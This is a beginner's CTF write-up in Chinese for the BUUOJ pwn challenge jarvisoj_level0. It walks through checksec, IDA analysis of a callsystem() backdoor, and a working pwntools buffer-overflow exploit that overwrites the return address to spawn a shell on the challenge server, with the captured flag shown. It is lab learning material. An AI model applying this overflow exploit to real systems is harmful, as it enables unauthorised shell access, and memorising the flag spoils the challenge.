CTF buuoj pwn-----第6题:jarvisoj_level0
前言
记录一下pwn的过程, 新手学习日记, 流水线记录.
打开题目, 连接靶机,下载文件level0

一、checksec 检测文件的保护机制
bing@bing-virtual-machine:~/pwn$ checksec ./level0
[*] '/home/bing/pwn/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
bing@bing-virtual-machine:~/pwn$
可以看出它是一个64位程序,仅开启了栈不可执行保护,No PIE. 猜测为 溢出漏洞
- gdb运行一下:
bing@bing-virtual-machine:~/pwn$ gdb ./level0
(gdb) r
Starting program: /home/bing/pwn/level0
Hello, World
二. 静态分析,IDA打开文件
- IDA打开文件level0
按下shift+f12,打开string window
发现 /bin /sh
- 双击 /bin /sh, 点击command, 点击X, 发现 /bin /sh的address在可疑函数callsystem()

- 打开后门函数callsystem(),并记下函数地址0x400596

- 按下f5,发现callsystem()函数里面含有system("/bin/sh");,

- 打开main函数只有两条语句;

- 打开vulnerable_function()

- buf[128] buf变量分配的空间只有0x80, 而read函数的第三个参数是0x200,可以输入0x200, 显然存在溢出;
双击buf:

- return address 之前需要覆盖0x88+0x8个字符. 并把return address覆盖为后门函数callsystem()的地址0x400596
构造payload:
payload =b'a'*(0x80+0x8) + p64(0x400596)
- 0x80个a赋值给buf[128],8个a覆盖栈底s (saved registers),即rbp的值(注意如果是32位系统就是esp,只有4个字节),把后门函数callsystem()的地址0x400596覆盖到vulnerable_function函数的返回地址 r (return addres) , 就可执行system("/bin/sh") ,获取shell.
三. 编写EXP
from pwn import *
sh = remote('node4.buuoj.cn', 26077)
payload = b'a'*(0x80+0x8)+p64(0x400596)
sh.sendline(payload)
sh.interactive()
四. 运行EXP, 获取flag
bing@bing-virtual-machine:~/pwn$ python3 ./level0.py
[+] Opening connection to node4.buuoj.cn on port 26077: Done
[*] Switching to interactive mode
Hello, World
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{1a6ba01d-1c5e-402c-8e88-080a0a2aed95}
flag{1a6ba01d-1c5e-402c-8e88-080a0a2aed95}
本文记录了一次pwn题目的解决过程,通过checksec分析了64位程序的保护机制,发现存在栈溢出漏洞。利用IDA进行静态分析找到后门函数callsystem()的地址,然后构造payload覆盖返回地址,最终成功执行system(/bin/sh)获取shell,得到了flag。


659

被折叠的 条评论
为什么被折叠?



